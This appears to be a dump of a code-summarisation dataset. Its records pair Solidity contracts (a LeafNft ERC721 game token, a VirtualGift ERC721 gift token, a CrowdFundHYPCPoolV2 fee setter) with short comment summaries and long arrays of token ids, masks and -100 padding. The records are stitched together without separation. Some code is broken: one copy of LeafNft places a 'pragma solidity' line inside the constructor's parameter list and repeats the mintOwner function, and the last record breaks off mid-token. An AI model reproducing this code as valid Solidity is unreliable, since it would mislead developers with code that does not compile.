-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Token ERC721 LNFT
* @notice This token allows players to enter the game
*/
contract LeafNft is ERC721Enumerable, Ownable {
using Strings for uint256;
/// @dev value of first level
uint256 constant LEVEL_1 = 10000;
/// @dev value of second level
uint256 constant LEVEL_2 = 20000;
/// @dev value of third level
uint256 constant LEVEL_3 = 30000;
/// @dev uri of ipfs
string baseURI;
string baseExtension = ".json";
/// @dev supply of first level
uint256 firstLevelSupply;
/// @dev ids of nft, maximum 4 for each address (ex: 27, 10027, 20027, 30027)
/// @dev owner can have more NFTs
mapping(address => uint256[]) idsNft;
/// @dev mint first 10 NFTs with NFT levels for owner
/// @param _name name of token ERC721
/// @param _symbol symbol of token ERC721
/// @param _initBaseURI base URI of ipfs files
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
mintOwner(1);
}
/// @dev player receives his first NFT
/// @param _to receiver address
/// @return minted NFT ipfs address
function firstMint(address _to) external onlyOwner returns (string memory) {
require(_to != address(0), "LeafNFT : must not be equal to address 0");
require(
idsNft[_to].length == 0,
"LeafNFT : has already done first mint"
);
firstLevelSupply++;
_safeMint(_to, firstLevelSupply);
idsNft[_to].push(firstLevelSupply);
return tokenURIIpfs(firstLevelSupply);
}
/// @dev player receives his auther NFTs
/// @param _to receiver address
/// @param _level new NFT level, can be 10000, 20000 or 30000
/// @return minted NFT ipfs address
function nextMint(address _to, uint256 _level)
external
onlyOwner
returns (string memory)
{
bool firstExists = (idsNft[_to].length != 0);
require(firstExists, "LeafNFT : must exist first id");
uint256 id = idsNft[_to][0];
uint256 newNftId = id + _level;
_safeMint(_to, newNftId);
idsNft[_to].push(newNftId);
return tokenURIIpfs(newNftId);
}
/// @dev mint _nbNft NFTs of each level for owner
/// @param _nbNft number of mint of each level
function mintOwner(uint256 _nbNft) public onlyOwner {
require(_nbNft > 0, "LeafNFT : must be greater than 0");
require(
_nbNft + firstLevelSupply <= 10000,
"LeafNFT : must be less than 10000"
);
for (uint256 i = 1; i <= _nbNft; i++) {
firstLevelSupply++;
_safeMint(msg.sender, firstLevelSupply);
_safeMint(msg.sender, LEVEL_1 + firstLevelSupply);
_safeMint(msg.sender, LEVEL_2 + firstLevelSupply);
_safeMint(msg.sender, LEVEL_3 + firstLevelSupply);
idsNft[msg.sender].push(firstLevelSupply);
idsNft[msg.sender].push(LEVEL_1 + firstLevelSupply);
idsNft[msg.sender].push(LEVEL_2 + firstLevelSupply);
idsNft[msg.sender].push(LEVEL_3 + firstLevelSupply);
}
}
/// @dev ex: nftId = 45 => ipfs://BASE_URI/45.json
/// @param _nftId identifier of token ERC721
/// @return send json file link in ipfs
function tokenURIIpfs(uint256 _nftId)
internal
view
returns (string memory)
{
require(_exists(_nftId), "LeafNFT : not exists");
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
_nftId.toString(),
baseExtension
)
)
: "";
}
/// @return return base uri
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
/// @dev for players the table can contain a maximum of 4 elements, for owner more
/// @param _address a player address
/// @return return list of identifiers of token ERC721
function getIdsNftByAddress(address _address)
external
view
onlyOwner
returns (uint256[] memory)
{
return idsNft[_address];
}
/// @dev change base URL by _newBaseURI
/// @param _newBaseURI new base URI
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
/// @return return parameter baseURI
function getBaseURI() external view onlyOwner returns (string memory) {
return baseURI;
}
/// @dev change base extension .json by _newBaseExtension
/// @param _newBaseExtension new base extension
function setBaseExtension(string memory _newBaseExtension)
external
onlyOwner
{
baseExtension = _newBaseExtension;
}
/// @return return parameter baseExtension
function getBaseExtension()
external
view
onlyOwner
returns (string memory)
{
return baseExtension;
}
/// @dev return parameter firstLevelSupply
/// @return firstLevelSupply
function getSupply() external view onlyOwner returns (uint256) {
return firstLevelSupply;
}
}
|
* @title Token ERC721 LNFT @notice This token allows players to enter the game/
|
contract LeafNft is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 constant LEVEL_1 = 10000;
uint256 constant LEVEL_2 = 20000;
uint256 constant LEVEL_3 = 30000;
string baseURI;
string baseExtension = ".json";
uint256 firstLevelSupply;
mapping(address => uint256[]) idsNft;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
pragma solidity 0.8.10;
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
mintOwner(1);
}
function firstMint(address _to) external onlyOwner returns (string memory) {
require(_to != address(0), "LeafNFT : must not be equal to address 0");
require(
idsNft[_to].length == 0,
"LeafNFT : has already done first mint"
);
firstLevelSupply++;
_safeMint(_to, firstLevelSupply);
idsNft[_to].push(firstLevelSupply);
return tokenURIIpfs(firstLevelSupply);
}
function nextMint(address _to, uint256 _level)
external
onlyOwner
returns (string memory)
{
bool firstExists = (idsNft[_to].length != 0);
require(firstExists, "LeafNFT : must exist first id");
uint256 id = idsNft[_to][0];
uint256 newNftId = id + _level;
_safeMint(_to, newNftId);
idsNft[_to].push(newNftId);
return tokenURIIpfs(newNftId);
}
function mintOwner(uint256 _nbNft) public onlyOwner {
require(_nbNft > 0, "LeafNFT : must be greater than 0");
require(
_nbNft + firstLevelSupply <= 10000,
"LeafNFT : must be less than 10000"
);
for (uint256 i = 1; i <= _nbNft; i++) {
firstLevelSupply++;
_safeMint(msg.sender, firstLevelSupply);
_safeMint(msg.sender, LEVEL_1 + firstLevelSupply);
_safeMint(msg.sender, LEVEL_2 + firstLevelSupply);
_safeMint(msg.sender, LEVEL_3 + firstLevelSupply);
idsNft[msg.sender].push(firstLevelSupply);
idsNft[msg.sender].push(LEVEL_1 + firstLevelSupply);
idsNft[msg.sender].push(LEVEL_2 + firstLevelSupply);
idsNft[msg.sender].push(LEVEL_3 + firstLevelSupply);
}
}
function mintOwner(uint256 _nbNft) public onlyOwner {
require(_nbNft > 0, "LeafNFT : must be greater than 0");
require(
_nbNft + firstLevelSupply <= 10000,
"LeafNFT : must be less than 10000"
);
for (uint256 i = 1; i <= _nbNft; i++) {
firstLevelSupply++;
_safeMint(msg.sender, firstLevelSupply);
_safeMint(msg.sender, LEVEL_1 + firstLevelSupply);
_safeMint(msg.sender, LEVEL_2 + firstLevelSupply);
_safeMint(msg.sender, LEVEL_3 + firstLevelSupply);
idsNft[msg.sender].push(firstLevelSupply);
idsNft[msg.sender].push(LEVEL_1 + firstLevelSupply);
idsNft[msg.sender].push(LEVEL_2 + firstLevelSupply);
idsNft[msg.sender].push(LEVEL_3 + firstLevelSupply);
}
}
function tokenURIIpfs(uint256 _nftId)
internal
view
returns (string memory)
{
require(_exists(_nftId), "LeafNFT : not exists");
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
_nftId.toString(),
baseExtension
)
)
: "";
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function getIdsNftByAddress(address _address)
external
view
onlyOwner
returns (uint256[] memory)
{
return idsNft[_address];
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function getBaseURI() external view onlyOwner returns (string memory) {
return baseURI;
}
function setBaseExtension(string memory _newBaseExtension)
external
onlyOwner
{
baseExtension = _newBaseExtension;
}
function getBaseExtension()
external
view
onlyOwner
returns (string memory)
{
return baseExtension;
}
function getSupply() external view onlyOwner returns (uint256) {
return firstLevelSupply;
}
}
| 14,042,320 |
[
1,
1345,
4232,
39,
27,
5340,
511,
50,
4464,
225,
1220,
1147,
5360,
18115,
358,
6103,
326,
7920,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
23383,
50,
1222,
353,
4232,
39,
27,
5340,
3572,
25121,
16,
14223,
6914,
288,
203,
565,
1450,
8139,
364,
2254,
5034,
31,
203,
203,
565,
2254,
5034,
5381,
15080,
67,
21,
273,
12619,
31,
203,
565,
2254,
5034,
5381,
15080,
67,
22,
273,
576,
2787,
31,
203,
565,
2254,
5034,
5381,
15080,
67,
23,
273,
890,
2787,
31,
203,
203,
565,
533,
1026,
3098,
31,
203,
565,
533,
1026,
3625,
273,
3552,
1977,
14432,
203,
203,
565,
2254,
5034,
1122,
2355,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
63,
5717,
3258,
50,
1222,
31,
203,
203,
565,
3885,
12,
203,
3639,
533,
3778,
389,
529,
16,
203,
3639,
533,
3778,
389,
7175,
16,
203,
3639,
533,
3778,
389,
2738,
2171,
3098,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
2163,
31,
203,
565,
262,
4232,
39,
27,
5340,
24899,
529,
16,
389,
7175,
13,
288,
203,
3639,
26435,
3098,
24899,
2738,
2171,
3098,
1769,
203,
3639,
312,
474,
5541,
12,
21,
1769,
203,
565,
289,
203,
203,
565,
445,
1122,
49,
474,
12,
2867,
389,
869,
13,
3903,
1338,
5541,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
3631,
315,
9858,
50,
4464,
294,
1297,
486,
506,
3959,
358,
1758,
374,
8863,
203,
3639,
2583,
12,
203,
5411,
3258,
50,
1222,
63,
67,
869,
8009,
2469,
422,
374,
16,
203,
5411,
315,
9858,
50,
4464,
294,
711,
1818,
2731,
1122,
312,
474,
6,
203,
3639,
11272,
203,
203,
3639,
1122,
2
] |
pragma solidity ^0.4.18;
contract ERC721 {
// ERC20 compatible functions
// use variable getter
// function name() constant returns (string name);
// function symbol() constant returns (string symbol);
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint balance);
function ownerOf(uint256 _tokenId) public constant returns (address owner);
function approve(address _to, uint256 _tokenId) public ;
function allowance(address _owner, address _spender) public constant returns (uint256 tokenId);
function transfer(address _to, uint256 _tokenId) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Optional
// function takeOwnership(uint256 _tokenId) public ;
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external constant returns (uint tokenId);
// function tokenMetadata(uint256 _tokenId) public constant returns (string infoUrl);
// Events
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
}
contract ERC20 {
// Get the total token supply
function totalSupply() public constant returns (uint256 _totalSupply);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// transfer _value amount of token approved by address _from
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// approve an address with _value amount of tokens
function approve(address _spender, uint256 _value) public returns (bool success);
// get remaining token approved by _owner to _spender
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract VirtualGift is ERC721 {
string public name = "VirtualGift";
uint8 public decimals = 0;
string public symbol = "VTG";
string public version = "1.0";
address private defaultGiftOwner;
mapping(address => bool) allowPermission;
ERC20 private Gifto = ERC20(0x00C5bBaE50781Be1669306b9e001EFF57a2957b09d);
event Creation(address indexed _owner, uint256 indexed tokenId);
//Gift token storage.
GiftToken[] giftStorageArry;
//Gift template storage.
GiftTemplateToken[] giftTemplateStorageArry;
//mapping address to it's gift sum
mapping(address => uint256) private balances;
//mapping gift id to owner
mapping(uint256 => address) private giftIndexToOwners;
//tells the gift is existed by gift id
mapping(uint256 => bool) private giftExists;
//mapping current owner to approved owners to gift
mapping(address => mapping (address => uint256)) private ownerToApprovedAddsToGifIds;
//mapping gift template id to gift ids
mapping(uint256 => uint256[]) private giftTemplateIdToGiftids;
//Mapping gift type to gift limit.
mapping(uint256 => uint256) private giftTypeToGiftLimit;
//mapping gift template to gift selled sum.
mapping(uint256 => uint256) private giftTypeToSelledSum;
//Gift template known as 0 generation gift
struct GiftTemplateToken {
uint256 giftPrice;
uint256 giftLimit;
//gift image url
string giftImgUrl;
//gift animation url
string giftName;
}
//virtual gift token
struct GiftToken {
uint256 giftPrice;
uint256 giftType;
//gift image url
string giftImgUrl;
//gift animation url
string giftName;
}
modifier onlyHavePermission(){
require(allowPermission[msg.sender] == true || msg.sender == defaultGiftOwner);
_;
}
modifier onlyOwner(){
require(msg.sender == defaultGiftOwner);
_;
}
//@dev Constructor
function VirtualGift() public {
defaultGiftOwner = msg.sender;
GiftToken memory newGift = GiftToken({
giftPrice: 0,
giftType: 0,
giftImgUrl: "",
giftName: ""
});
GiftTemplateToken memory newGiftTemplate = GiftTemplateToken({
giftPrice: 0,
giftLimit: 0,
giftImgUrl: "",
giftName: ""
});
giftStorageArry.push(newGift); // id = 0
giftTemplateStorageArry.push(newGiftTemplate);
}
function addPermission(address _addr)
public
onlyOwner{
allowPermission[_addr] = true;
}
function removePermission(address _addr)
public
onlyOwner{
allowPermission[_addr] = false;
}
///@dev Buy a gift while create a new gift based on gift template.
///Make sure to call Gifto.approve() fist, before calling this function
function sendGift(uint256 _type,
address recipient)
public
onlyHavePermission
returns(uint256 _giftId)
{
//Check if the created gifts sum < gift Limit
require(giftTypeToSelledSum[_type] < giftTemplateStorageArry[_type].giftLimit);
//_type must be a valid value
require(_type > 0 && _type < giftTemplateStorageArry.length);
//Mint a virtual gift.
_giftId = _mintGift(_type, recipient);
giftTypeToSelledSum[_type]++;
return _giftId;
}
/// @dev Mint gift.
function _mintGift(uint256 _type,
address recipient)
internal returns (uint256)
{
GiftToken memory newGift = GiftToken({
giftPrice: giftTemplateStorageArry[_type].giftPrice,
giftType: _type,
giftImgUrl: giftTemplateStorageArry[_type].giftImgUrl,
giftName: giftTemplateStorageArry[_type].giftName
});
uint256 giftId = giftStorageArry.push(newGift) - 1;
//Add giftid to gift template mapping
giftTemplateIdToGiftids[_type].push(giftId);
giftExists[giftId] = true;
//Reassign Ownership for new owner
_transfer(0, recipient, giftId);
//Trigger Ethereum Event
Creation(msg.sender, giftId);
return giftId;
}
/// @dev Initiate gift template.
/// A gift template means a gift of "0" generation's
function createGiftTemplate(uint256 _price,
uint256 _limit,
string _imgUrl,
string _giftName)
public onlyHavePermission
returns (uint256 giftTemplateId)
{
//Check these variables
require(_price > 0);
bytes memory imgUrlStringTest = bytes(_imgUrl);
bytes memory giftNameStringTest = bytes(_giftName);
require(imgUrlStringTest.length > 0);
require(giftNameStringTest.length > 0);
require(_limit > 0);
require(msg.sender != address(0));
//Create GiftTemplateToken
GiftTemplateToken memory newGiftTemplate = GiftTemplateToken({
giftPrice: _price,
giftLimit: _limit,
giftImgUrl: _imgUrl,
giftName: _giftName
});
//Push GiftTemplate into storage.
giftTemplateId = giftTemplateStorageArry.push(newGiftTemplate) - 1;
giftTypeToGiftLimit[giftTemplateId] = _limit;
return giftTemplateId;
}
function updateTemplate(uint256 templateId,
uint256 _newPrice,
uint256 _newlimit,
string _newUrl,
string _newName)
public
onlyOwner {
giftTemplateStorageArry[templateId].giftPrice = _newPrice;
giftTemplateStorageArry[templateId].giftLimit = _newlimit;
giftTemplateStorageArry[templateId].giftImgUrl = _newUrl;
giftTemplateStorageArry[templateId].giftName = _newName;
}
function getGiftSoldFromType(uint256 giftType)
public
constant
returns(uint256){
return giftTypeToSelledSum[giftType];
}
//@dev Retrieving gifts by template.
function getGiftsByTemplateId(uint256 templateId)
public
constant
returns(uint256[] giftsId) {
return giftTemplateIdToGiftids[templateId];
}
//@dev Retrievings all gift template ids
function getAllGiftTemplateIds()
public
constant
returns(uint256[]) {
if (giftTemplateStorageArry.length > 1) {
uint256 theLength = giftTemplateStorageArry.length - 1;
uint256[] memory resultTempIds = new uint256[](theLength);
uint256 resultIndex = 0;
for (uint256 i = 1; i <= theLength; i++) {
resultTempIds[resultIndex] = i;
resultIndex++;
}
return resultTempIds;
}
require(giftTemplateStorageArry.length > 1);
}
//@dev Retrieving gift template by it's id
function getGiftTemplateById(uint256 templateId)
public constant returns(
uint256 _price,
uint256 _limit,
string _imgUrl,
string _giftName
){
require(templateId > 0);
require(templateId < giftTemplateStorageArry.length);
GiftTemplateToken memory giftTemplate = giftTemplateStorageArry[templateId];
_price = giftTemplate.giftPrice;
_limit = giftTemplate.giftLimit;
_imgUrl = giftTemplate.giftImgUrl;
_giftName = giftTemplate.giftName;
return (_price, _limit, _imgUrl, _giftName);
}
/// @dev Retrieving gift info by gift id.
function getGift(uint256 _giftId)
public constant returns (
uint256 giftType,
uint256 giftPrice,
string imgUrl,
string giftName
) {
require(_giftId < giftStorageArry.length);
GiftToken memory gToken = giftStorageArry[_giftId];
giftType = gToken.giftType;
giftPrice = gToken.giftPrice;
imgUrl = gToken.giftImgUrl;
giftName = gToken.giftName;
return (giftType, giftPrice, imgUrl, giftName);
}
/// @dev transfer gift to a new owner.
/// @param _to :
/// @param _giftId :
function transfer(address _to, uint256 _giftId) external returns (bool success){
require(giftExists[_giftId]);
require(_to != 0x0);
require(msg.sender != _to);
require(msg.sender == ownerOf(_giftId));
require(_to != address(this));
_transfer(msg.sender, _to, _giftId);
return true;
}
/// @dev change Gifto contract's address or another type of token, like Ether.
/// @param newAddress Gifto contract address
function setGiftoAddress(address newAddress) public onlyOwner {
Gifto = ERC20(newAddress);
}
/// @dev Retrieving Gifto contract adress
function getGiftoAddress() public constant returns (address giftoAddress) {
return address(Gifto);
}
/// @dev returns total supply for this token
function totalSupply() public constant returns (uint256){
return giftStorageArry.length - 1;
}
//@dev
//@param _owner
//@return
function balanceOf(address _owner) public constant returns (uint256 giftSum) {
return balances[_owner];
}
/// @dev
/// @return owner
function ownerOf(uint256 _giftId) public constant returns (address _owner) {
require(giftExists[_giftId]);
return giftIndexToOwners[_giftId];
}
/// @dev approved owner
/// @param _to :
function approve(address _to, uint256 _giftId) public {
require(msg.sender == ownerOf(_giftId));
require(msg.sender != _to);
ownerToApprovedAddsToGifIds[msg.sender][_to] = _giftId;
//Ethereum Event
Approval(msg.sender, _to, _giftId);
}
/// @dev
/// @param _owner :
/// @param _spender :
function allowance(address _owner, address _spender) public constant returns (uint256 giftId) {
return ownerToApprovedAddsToGifIds[_owner][_spender];
}
/// @dev
/// @param _giftId :
function takeOwnership(uint256 _giftId) public {
//Check if exits
require(giftExists[_giftId]);
address oldOwner = ownerOf(_giftId);
address newOwner = msg.sender;
require(newOwner != oldOwner);
//New owner has to be approved by oldowner.
require(ownerToApprovedAddsToGifIds[oldOwner][newOwner] == _giftId);
//transfer gift for new owner
_transfer(oldOwner, newOwner, _giftId);
delete ownerToApprovedAddsToGifIds[oldOwner][newOwner];
//Ethereum Event
Transfer(oldOwner, newOwner, _giftId);
}
/// @dev transfer gift for new owner "_to"
/// @param _from :
/// @param _to :
/// @param _giftId :
function _transfer(address _from, address _to, uint256 _giftId) internal {
require(balances[_to] + 1 > balances[_to]);
balances[_to]++;
giftIndexToOwners[_giftId] = _to;
if (_from != address(0)) {
balances[_from]--;
}
//Ethereum event.
Transfer(_from, _to, _giftId);
}
/// @dev transfer Gift for new owner(_to) which is approved.
/// @param _from : address of owner of gift
/// @param _to : recipient address
/// @param _giftId : gift id
function transferFrom(address _from, address _to, uint256 _giftId) external {
require(_to != address(0));
require(_to != address(this));
//Check if this spender(_to) is approved to the gift.
require(ownerToApprovedAddsToGifIds[_from][_to] == _giftId);
require(_from == ownerOf(_giftId));
//@dev reassign ownership of the gift.
_transfer(_from, _to, _giftId);
//Delete approved spender
delete ownerToApprovedAddsToGifIds[_from][_to];
}
/// @dev Retrieving gifts by address _owner
function giftsOfOwner(address _owner) public view returns (uint256[] ownerGifts) {
uint256 giftCount = balanceOf(_owner);
if (giftCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](giftCount);
uint256 total = totalSupply();
uint256 resultIndex = 0;
uint256 giftId;
for (giftId = 0; giftId <= total; giftId++) {
if (giftIndexToOwners[giftId] == _owner) {
result[resultIndex] = giftId;
resultIndex++;
}
}
return result;
}
}
/// @dev withdraw GTO and ETH in this contract
function withdrawGTO()
onlyOwner
public {
Gifto.transfer(defaultGiftOwner, Gifto.balanceOf(address(this)));
}
function withdraw()
onlyOwner
public
returns (bool){
return defaultGiftOwner.send(this.balance);
}
}
|
gift image urlgift animation url
|
struct GiftTemplateToken {
uint256 giftPrice;
uint256 giftLimit;
string giftImgUrl;
string giftName;
}
| 13,109,323 |
[
1,
75,
2136,
1316,
880,
75,
2136,
8794,
880,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1958,
611,
2136,
2283,
1345,
288,
203,
3639,
2254,
5034,
314,
2136,
5147,
31,
203,
3639,
2254,
5034,
314,
2136,
3039,
31,
203,
3639,
533,
314,
2136,
12804,
1489,
31,
203,
3639,
533,
314,
2136,
461,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x151301d8De53c2E7F5D9B10FCe36bd1fCf332bC6/sources/contracts/ethereum/core/CrowdFundHYPCPoolV2.sol
|
@notice Allows the owner of the pool to set the fee on proposal creation. @param fee: the fee in HyPC, per requested c_HyPC, to charge the proposal creator on creation.
|
function setPoolFee(uint256 fee) external onlyOwner {
poolFee = fee;
emit PoolFeeSet(fee);
}
The creator specifies the term length for this proposal, the number of c_HyPCs to request,
and then supplies an amount of HyPC to act as interest for the depositors of the
proposal.
@param termNum: either 0, 1, or 2, corresponding to 18 months, 24 months or 36 months respectively.
@param backingFunds: the amount of HyPC that the creator puts up to create the proposal, which acts
as the interest to give to the depositors during the course of the proposal's term.
@param numberNFTs: the number of c_HyPC that this proposal is requesting.
@param deadline: the block timestamp that this proposal must be filled by in order to be started.
@param specifiedFee: The fee that the creator expects to pay per token
@dev The specifiedFee parameter is used to prevent a pool owner from front-running a transaction
to increase the poolFee after a creator has submitted a transaction.
@dev The interest rate calculation for the variable interestRateAPR is described in the contract's
comment section. The only difference here is that there is an extra term in the numerator of
APR_DECIMALS since we can't have floating point numbers by default in solidity.
| 9,809,100 |
[
1,
19132,
326,
3410,
434,
326,
2845,
358,
444,
326,
14036,
603,
14708,
6710,
18,
282,
14036,
30,
326,
14036,
316,
14881,
3513,
16,
1534,
3764,
276,
67,
17507,
3513,
16,
358,
13765,
326,
14708,
11784,
603,
6710,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
